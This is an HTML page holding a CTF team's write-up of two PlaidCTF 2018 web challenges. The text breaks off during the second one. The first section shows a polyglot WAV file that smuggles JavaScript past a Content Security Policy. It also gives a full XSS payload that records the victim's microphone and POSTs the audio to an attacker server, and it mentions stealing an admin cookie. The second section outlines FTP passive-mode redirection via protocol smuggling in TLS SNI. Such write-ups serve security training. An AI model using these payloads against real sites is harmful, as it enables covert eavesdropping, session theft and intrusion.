<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>PlaidCTF 2018</title>
    <link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
    <link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
    <script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
    <script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
  </head>
  <style>
  body {
      padding-top: 56px;
  }

  .sticky-offset {
      top: 56px;
  }

  #body-row {
      margin-left:0;
      margin-right:0;
  }
  #sidebar-container {
      min-height: 100vh;   
      background-color: #333;
      padding: 0;
  }

  /* Sidebar sizes when expanded and expanded */
  .sidebar-expanded {
      width: 230px;
  }
  .sidebar-collapsed {
      width: 60px;
  }

  /* Menu item*/
  #sidebar-container .list-group a {
      height: 50px;
      color: white;
  }

  /* Submenu item*/
  #sidebar-container .list-group .sidebar-submenu a {
      height: 45px;
      padding-left: 60px;
  }
  .sidebar-submenu {
      font-size: 0.9rem;
  }

  /* Separators */
  .sidebar-separator-title {
      background-color: #333;
      height: 35px;
  }
  .sidebar-separator {
      background-color: #333;
      height: 25px;
  }
  .logo-separator {
      background-color: #333;    
      height: 60px;
  }


  /* 
   active scrollspy
  */
  .list-group-item.active {
    border-color: transparent;
    border-left: #e69138 solid 4px;
  }

  /* 
   anchor padding top
   https://stackoverflow.com/a/28824157
  */
  :target:before {
    content:"";
    display:block;
    height:56px; /* fixed header height*/
    margin:-56px 0 0; /* negative fixed header height */
  }
  </style>
  
  <script>
  // https://stackoverflow.com/a/48330533
  $(window).on('activate.bs.scrollspy', function (event) {
    let active_collapse = $($('.list-group-item.active').parents()[0]);
    $(".collapse").removeClass("show");
    active_collapse.addClass("show");

    let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
    $('a[href^="#submenu"]').css("border-left", "");
    parent_menu.css("border-left","#e69138 solid 4px");
  });

  // http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
  MathJax.Hub.Config({
    tex2jax: {
      inlineMath: [['$','$'], ['\\(','\\)']],
      processEscapes: true
    }
  });
  </script>

  <body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
    <nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
      <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
        <img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
        <span class="menu-collapsed">balsn / ctf_writeup</span>
      </a>
      <div class="collapse navbar-collapse" id="navbarNavDropdown">
        <ul class="navbar-nav my-2 my-lg-0">
            
            <li class="nav-item dropdown d-sm-block d-md-none">
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
        
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                web
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#idiot:-action-(bookgin)">idiot:-action-(bookgin)</a>
    
                <a class="dropdown-item" href="#idiot:-camera-(unsolved,-written-by-bookgin)">idiot:-camera-(unsolved,-written-by-bookgin)</a>
    
              </div>
            </li>
    
        </ul>
      </div>
      <div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
        <ul class="navbar-nav ml-auto">
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
        </ul>
      </div>
    </nav>
    <div class="row" id="body-row">
      <div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
        <ul class="list-group sticky-top sticky-offset">
          
          <a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">web</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu0" class="collapse sidebar-submenu">
            <a href="#idiot:-action-(bookgin)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">idiot:-action-(bookgin)</span>
            </a>
    
<a href="#idiot:-camera-(unsolved,-written-by-bookgin)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">idiot:-camera-(unsolved,-written-by-bookgin)</span>
            </a>
    
          </div>
    
        </ul>
      </div>
      <div class="col-10 py-3">
        <article class="markdown-body"><h1 id="plaidctf-2018"><a class="header-link" href="#plaidctf-2018"></a>PlaidCTF 2018</h1>

<h2 id="web"><a class="header-link" href="#web"></a>web</h2>
<h3 id="idiot:-action-(bookgin)"><a class="header-link" href="#idiot:-action-(bookgin)"></a>idIoT: Action (bookgin)</h3>
<p>After login, we can post a clip of audio with title and description. The description filed is vulnerable to XSS. We insert <code>&lt;marquee&gt;xss&lt;/marquee&gt;</code> in to the description and find it works!</p>
<p>However, let&#39;s take a look at Content Security Policy:</p>
<pre class="hljs"><code><span class="hljs-keyword">style-src</span> <span class="hljs-string">'self'</span> https://fonts.googleapis.com;
<span class="hljs-keyword">font-src</span> <span class="hljs-string">'self'</span> https://fonts.gstatic.com;
<span class="hljs-keyword">media-src</span> <span class="hljs-string">'self'</span> blob:;
<span class="hljs-keyword">script-src</span> <span class="hljs-string">'self'</span>;
<span class="hljs-keyword">object-src</span> <span class="hljs-string">'self'</span>;
<span class="hljs-keyword">frame-src</span> <span class="hljs-string">'self'</span></code></pre><p>Note that <code>image-src</code> is not defined. We can insert <code>&lt;img src=&quot;evil_website&quot;&gt;</code> to check if the headless robot is browsing this clip.</p>
<p>It&#39;s impossible to XSS directly in the description because <code>script-src self</code> will block the inline javascript. However, if we can upload a javascript, we can use <code>&lt;script src=&quot;...&quot;&gt;</code> to execute the payload! But how?</p>
<p>The website allows the user to upload an audio clip, with file extension ogg/wav/wave/webm/mp3. The server site seems to validate the audio header. A plain text file cannot be uploaded. </p>
<p>This is easy to bypass. We simply manipulate the WAV format and comment out the header field. Then, insert the javascript payload after the header.</p>
<pre class="hljs"><code><span class="hljs-number">00000000</span>: <span class="hljs-number">5249 4646</span> <span class="hljs-number">3d</span>31 <span class="hljs-number">2</span>f2a <span class="hljs-number">5741 5645</span> <span class="hljs-number">666d</span> <span class="hljs-number">7420</span>  RIFF=<span class="hljs-number">1</span>/*WAVEfmt
<span class="hljs-number">00000010</span>: <span class="hljs-number">1000 0000</span> <span class="hljs-number">0100 0100</span> c05d <span class="hljs-number">0000</span> <span class="hljs-number">80</span>bb <span class="hljs-number">0000</span>  .........]......
<span class="hljs-number">00000020</span>: <span class="hljs-number">0200 1000</span> <span class="hljs-number">4c49 5354</span> <span class="hljs-number">1a00 0000</span> <span class="hljs-number">494</span>e <span class="hljs-number">464</span>f  ....LIST....INFO
<span class="hljs-number">00000030</span>: <span class="hljs-number">4953 4654</span> <span class="hljs-number">0e00 0000</span> <span class="hljs-number">4c61 7666</span> <span class="hljs-number">3537 2e38</span>  ISFT....Lavf57.<span class="hljs-number">8</span>
<span class="hljs-number">00000040</span>: <span class="hljs-number">332</span>e <span class="hljs-number">3130 3000</span> <span class="hljs-number">6461 7461</span> <span class="hljs-number">80d8 0100</span> <span class="hljs-number">0000</span>  <span class="hljs-number">3</span>.<span class="hljs-number">100</span>.data......
<span class="hljs-number">00000050</span>: <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span>  ................
<span class="hljs-number">00000060</span>: <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span>  ................
<span class="hljs-number">00000070</span>: <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span>  ................
<span class="hljs-number">00000080</span>: <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> ffff <span class="hljs-number">0000</span>  ................
<span class="hljs-number">00000090</span>: <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span>  ................
<span class="hljs-number">000000a0</span>: <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span>  ................
<span class="hljs-number">000000b0</span>: <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span>  ................
<span class="hljs-number">000000c0</span>: <span class="hljs-number">0000 0000</span> <span class="hljs-number">0000 0000</span> <span class="hljs-number">2</span>a2f <span class="hljs-number">0</span>a3b <span class="hljs-number">616</span>c <span class="hljs-number">6572</span>  ........*/.<span class="hljs-comment">;aler</span>
<span class="hljs-number">000000d0</span>: <span class="hljs-number">7428 3129</span> <span class="hljs-number">3</span>b0a                           t(<span class="hljs-number">1</span>)<span class="hljs-comment">;.</span></code></pre><p>After uploading this evil wav, we are trying to XSS with <code>&lt;script src=&quot;uploads/filename.wav&quot;&gt;&lt;/script&gt;</code> but it didn&#39;t work. The reason is the Apache server will return the content-type <code>audio/wave</code>. The browser will check the type. If the type is <code>audio</code>, the broser will not include the file for security reason.</p>
<p>That&#39;s annoying. After trying all the extension <code>ogg/wav/wave/webm/mp3</code>, we found Apache doesn&#39;t recognize <code>*.wave</code> as a audio file. Therefore, if we upload a file named <code>filename.wave</code>, and then include the script through <code>&lt;script src=&quot;filename.wave&quot;&gt;&lt;/script&gt;</code>, the javascript can be exeuted!</p>
<p>After XSS, we can steal the admin&#39;s cookie and login as admin. There are two clips in the account. The first is intended to give the challenges the correct command to Google Home, &quot;OK Google, what is the flag?&quot; The second clip is telling us that the admin will only stay on the clips interested him. &quot;Has anyone else played &quot;Toaster Wars&quot;? Share me clips with &#39;spatulate&#39; in the description and I&#39;ll give them a listen!&quot;. So we just put &quot;spatulate&#39; in the description.</p>
<p>The attack steps are listed below:</p>
<ol class="list">
<li>The admin clicks the clip which we shared.</li>
<li>The audio of that clip, &quot;Ok google, what is the flag?&quot;, will be played automatically.</li>
<li>The description contains a malicious Javascript <code>&lt;script src=&quot;js.wave&quot;&gt;&lt;/script&gt;</code>, and the admin will execute it.</li>
<li>The js will automatically start recording what the Google home said.</li>
<li>After recording for 8 seconds, it will stop recording and POST the audio to our website.</li>
</ol>
<p>The javascript is here. I use a lot of <code>setTimeout()</code> to trace the admin&#39;s behavior.</p>
<pre class="hljs"><code><span class="hljs-comment">// Fake WAVE header</span>
<span class="hljs-built_in">window</span>.onload = <span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
    <span class="hljs-keyword">let</span> errorElt = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"error"</span>);
    <span class="hljs-keyword">let</span> recordButton = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"audio-record"</span>);
    <span class="hljs-keyword">let</span> recordPlayback = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"record-playback"</span>);
    <span class="hljs-keyword">let</span> uploadForm = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"upload-form"</span>);
    <span class="hljs-keyword">let</span> mediaRecorder;
    <span class="hljs-keyword">let</span> mediaType =
        !(<span class="hljs-string">"MediaRecorder"</span> <span class="hljs-keyword">in</span> <span class="hljs-built_in">window</span>) ? <span class="hljs-literal">undefined</span>
        : MediaRecorder.isTypeSupported(<span class="hljs-string">"audio/webm"</span>) ? <span class="hljs-string">"audio/webm"</span>
        : MediaRecorder.isTypeSupported(<span class="hljs-string">"audio/ogg"</span>) ? <span class="hljs-string">"audio/ogg"</span>
        : <span class="hljs-literal">undefined</span>;
    <span class="hljs-keyword">let</span> mediaBlob;

    <span class="hljs-keyword">if</span> (!mediaType) {
        recordButton.disabled = <span class="hljs-literal">true</span>;
        recordButton.innerText = <span class="hljs-string">"Not supported"</span>;
    }

    <span class="hljs-keyword">let</span> err = <span class="hljs-regexp">/err=([^&amp;]*)/</span>.exec(<span class="hljs-built_in">window</span>.location.search);
    <span class="hljs-keyword">if</span> (errorElt &amp;&amp; err) {
        errorElt.className = <span class="hljs-string">""</span>;
        errorElt.innerText = <span class="hljs-built_in">decodeURIComponent</span>(err[<span class="hljs-number">1</span>].replace(<span class="hljs-regexp">/\+/g</span>, <span class="hljs-string">" "</span>));
    }

    <span class="hljs-keyword">if</span> (recordButton) {
        recordButton.addEventListener(<span class="hljs-string">"click"</span>, (e) =&gt; {
            e.preventDefault();
            <span class="hljs-keyword">if</span> (!mediaType) {
                <span class="hljs-keyword">return</span>;
            }
            <span class="hljs-keyword">if</span> (mediaRecorder) {
                mediaRecorder.stop();
                mediaRecorder = <span class="hljs-literal">undefined</span>;
                recordButton.innerText = <span class="hljs-string">"Record"</span>;
            } <span class="hljs-keyword">else</span> {
                recordButton.innerText = <span class="hljs-string">"Stop"</span>;
                navigator.mediaDevices.getUserMedia({ <span class="hljs-attr">audio</span>: <span class="hljs-literal">true</span> })
                    .then(<span class="hljs-function">(<span class="hljs-params">stream</span>) =&gt;</span> {
                        mediaRecorder = <span class="hljs-keyword">new</span> MediaRecorder(stream, { <span class="hljs-attr">mimeType</span>: mediaType });
                        mediaRecorder.start();

                        <span class="hljs-keyword">let</span> chunks = [];

                        mediaRecorder.addEventListener(<span class="hljs-string">"dataavailable"</span>, (e) =&gt; {
                            chunks.push(e.data);
                        });

                        mediaRecorder.addEventListener(<span class="hljs-string">"stop"</span>, () =&gt; {
                            mediaBlob = <span class="hljs-keyword">new</span> Blob(chunks);
                            recordPlayback.src = URL.createObjectURL(mediaBlob);
                        })
                    });
            }
        });
    }

    <span class="hljs-keyword">if</span> (uploadForm) {
        uploadForm.addEventListener(<span class="hljs-string">"submit"</span>, (e) =&gt; {
            e.preventDefault();
            <span class="hljs-keyword">let</span> formData = <span class="hljs-keyword">new</span> FormData(<span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"upload-form"</span>));
            <span class="hljs-keyword">if</span> (mediaBlob) {
                formData.append(<span class="hljs-string">"audiofile"</span>, mediaBlob, <span class="hljs-string">"audio."</span> + mediaType.split(<span class="hljs-string">"/"</span>)[<span class="hljs-number">1</span>]);
            }


        });
    }
    setTimeout(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{
        fetch(<span class="hljs-string">"https://example.com.tw/?0"</span>);
    }, <span class="hljs-number">0</span>);
    setTimeout(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{
        fetch(<span class="hljs-string">"https://example.com.tw/?5000"</span>);
    }, <span class="hljs-number">5000</span>);
    setTimeout(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{
        fetch(<span class="hljs-string">"https://example.com.tw/?10000"</span>);
    }, <span class="hljs-number">10000</span>);
    setTimeout(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{
        fetch(<span class="hljs-string">"https://example.com.tw/?15000"</span>);
    }, <span class="hljs-number">15000</span>);
    setTimeout(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{
        fetch(<span class="hljs-string">"https://example.com.tw/?20000"</span>);
    }, <span class="hljs-number">20000</span>);
    setTimeout(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{ <span class="hljs-comment">// after 1000 ms, start recording</span>
        recordButton.click();
        fetch(<span class="hljs-string">"https://example.com.tw/?startrecording"</span>);
        setTimeout(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{ <span class="hljs-comment">// recording for 7000 ms</span>
            recordButton.click();
            fetch(<span class="hljs-string">"https://example.com.tw/?endrecording"</span>);

            <span class="hljs-comment">// lets submit to my evil server</span>
            setTimeout(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{ <span class="hljs-comment">// process time: 2000ms</span>
                <span class="hljs-keyword">let</span> formData = <span class="hljs-keyword">new</span> FormData(uploadForm);
                <span class="hljs-keyword">if</span> (mediaBlob) {
                    formData.append(<span class="hljs-string">"audiofile"</span>, mediaBlob, <span class="hljs-string">"audio."</span> + mediaType.split(<span class="hljs-string">"/"</span>)[<span class="hljs-number">1</span>]);
                }
                <span class="hljs-keyword">let</span> postf = fetch(<span class="hljs-string">"https://example.com.tw/log"</span>, {
                    <span class="hljs-attr">method</span>: <span class="hljs-string">"POST"</span>,
                    <span class="hljs-attr">body</span>: formData,
                });
            }, <span class="hljs-number">5000</span>);
        }, <span class="hljs-number">15000</span>);
    }, <span class="hljs-number">1000</span>);

}</code></pre><p>The description:</p>
<pre class="hljs"><code>Has anyone else played "Toaster Wars"? Share me clips with "spatulate" in the description and I'll give them a listen!
Spatulate
<span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://example.com.tw/?xsssuccess"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">img</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"create.php"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"post"</span> <span class="hljs-attr">enctype</span>=<span class="hljs-string">"multipart/form-data"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"upload-form"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"box"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"title"</span>&gt;</span>Title<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"title"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"title-input"</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">"Enter a title"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"a"</span>/&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"box"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"title"</span>&gt;</span>Description<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">textarea</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"description"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"description-input"</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">"Enter a description"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"b"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">textarea</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"box"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"title"</span>&gt;</span>Clip<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"options"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"upload-option"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>Upload a File<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">h4</span>&gt;</span>You can upload .wav/wave, .mp3, .ogg, .webm<span class="hljs-tag">&lt;/<span class="hljs-name">h4</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"audiofile"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"file-label"</span>&gt;</span>Upload a file<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"file"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"audiofile"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"audiofile"</span> <span class="hljs-attr">accept</span>=<span class="hljs-string">"audio/*"</span> /&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"or"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"record-option"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>Record a Clip<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">h4</span>&gt;</span>Recent Chrome or Firefox only<span class="hljs-tag">&lt;/<span class="hljs-name">h4</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"button"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"audio-record"</span>&gt;</span>Record<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">audio</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"record-playback"</span> <span class="hljs-attr">controls</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">audio</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"submit"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"submit"</span> /&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"[uploaded_js_url]"</span>&gt;</span><span class="undefined"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></code></pre><p>and listen carefully, &quot;the flag is PCTF open bracket not underscore so underscore smart close bracket.&quot;</p>
<p>We got the flag:<code>PCTF{not_so_smart}</code>.</p>
<p>This is a very interesting and great challenge:) 
You can check out the author&#39;s setup album <a href="https://imgur.com/a/lrIQto5">here</a>.</p>
<h3 id="idiot:-camera-(unsolved,-written-by-bookgin)"><a class="header-link" href="#idiot:-camera-(unsolved,-written-by-bookgin)"></a>idIoT: Camera (unsolved, written by bookgin)</h3>
<p>Thanks to @bluepichu and @kunte_ for this solution.</p>
<p>The challenge includes a binary of the customized FTP server. After digging into the commands, @sasdf found this ftp server allows a &quot;IP&quot; command, which is used to specify the server IP. Also, &quot;PASV&quot; command exists. It looks like we can attack the FTP passive mode by sppcify our IP address. Because when sending <code>PASV</code> command, the server will tell which (IP, port) the user should connect. The IP can be controlled by the <code>IP</code> command.</p>
<p>The attack steps are listed below:</p>
<ol class="list">
<li>The Wifi camera login to the FTP server: <code>USER username</code>, <code>PASS password</code></li>
<li>We quickly create another connection and send <code>IP 240.1.2.3</code>.</li>
<li>Next, the Wifi camera will send <code>PASV</code> command, but the IP has be changed!</li>
<li>The FTP server will reply <code>227 Entering passive mode (240,1,2,3,86,206)</code>, whihc is our specific IP.</li>
<li>Thus, the Wifi camera will start to send the image to our server.</li>
</ol>
<p>Okay, but how do we send <code>IP 240.1.2.3</code>? Remember in the idIoT: Action, we have the XSS attack vector. We can smuggle the FTP protocol thorugh HTTP request. However, there is a WAF in the FTP server:</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> ( v65 &gt; <span class="hljs-number">2</span> &amp;&amp; !strncasecmp(s1, <span class="hljs-string">"GET"</span>, <span class="hljs-number">3u</span>LL)
    || v65 &gt; <span class="hljs-number">3</span> &amp;&amp; !strncasecmp(s1, <span class="hljs-string">"HEAD"</span>, <span class="hljs-number">4u</span>LL)
    || v65 &gt; <span class="hljs-number">3</span> &amp;&amp; !strncasecmp(s1, <span class="hljs-string">"POST"</span>, <span class="hljs-number">4u</span>LL)
    || v65 &gt; <span class="hljs-number">2</span> &amp;&amp; !strncasecmp(s1, <span class="hljs-string">"PUT"</span>, <span class="hljs-number">3u</span>LL)
    || v65 &gt; <span class="hljs-number">5</span> &amp;&amp; !strncasecmp(s1, <span class="hljs-string">"DELETE"</span>, <span class="hljs-number">6u</span>LL)
    || v65 &gt; <span class="hljs-number">6</span> &amp;&amp; !strncasecmp(s1, <span class="hljs-string">"CONNECT"</span>, <span class="hljs-number">7u</span>LL)
    || v65 &gt; <span class="hljs-number">6</span> &amp;&amp; !strncasecmp(s1, <span class="hljs-string">"OPTIONS"</span>, <span class="hljs-number">7u</span>LL)
    || v65 &gt; <span class="hljs-number">4</span> &amp;&amp; !strncasecmp(s1, <span class="hljs-string">"TRACE"</span>, <span class="hljs-number">5u</span>LL)
    || v65 &gt; <span class="hljs-number">4</span> &amp;&amp; !strncasecmp(s1, <span class="hljs-string">"PATCH"</span>, <span class="hljs-number">5u</span>LL) )</code></pre><p>and we stuck here until the comppetition ends because we are not able to come out of a way to bypass the WAF and smuggle the protocl.</p>
<p>The HTTP request does&#39;t work. How about FTP request? Although Chorme support FTP, it cannot be used to send our customized command <code>IP 240.1.2.3</code>. Inserting CRLF in <code>ftp://username:password@hostname/</code>  doesn&#39;t work at all. Of course, there is no gopher/dict protocol implementation in Chrome.</p>
<p>but how about the HTTPS protocol?</p>
<p>Although the first TLS handshake message Client Hello is encrypted, not all of the payload are garbled, encryted text. The SNI (server name indication) is left in plaintext. Let&#39;s leverage SNI to smuggle the FTP protocol. </p>
<p>Suppose the URL is:</p>
<p><code>https://p8.8.8.8.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaa.127.0.0.1.xip.io:1212</code></p>
<p>Of course, the DNS record will resolve to 127.0.0.1. (<a href="http://xip.io/">xip.io</a> is a handy website when you&#39;re too lazy to build up a DNS server yourself.)</p>
<p>The raw client hello will be like: </p>
<pre class="hljs"><code>...
<span class="hljs-number">0040</span>   c0 <span class="hljs-number">14</span> <span class="hljs-number">00</span> <span class="hljs-number">33</span> <span class="hljs-number">00</span> <span class="hljs-number">39</span> <span class="hljs-number">00</span> <span class="hljs-number">2</span>f <span class="hljs-number">00</span> <span class="hljs-number">35</span> <span class="hljs-number">00</span> <span class="hljs-number">0</span>a <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> b5  ..<span class="hljs-number">.3</span><span class="hljs-number">.9</span>./<span class="hljs-number">.5</span>......
<span class="hljs-number">0050</span>   <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">6</span>e <span class="hljs-number">00</span> <span class="hljs-number">6</span>c <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">69</span> <span class="hljs-number">70</span> <span class="hljs-number">38</span> <span class="hljs-number">2</span>e <span class="hljs-number">38</span> <span class="hljs-number">2</span>e <span class="hljs-number">38</span> <span class="hljs-number">2</span>e  ...n.l..ip8<span class="hljs-number">.8</span><span class="hljs-number">.8</span>.
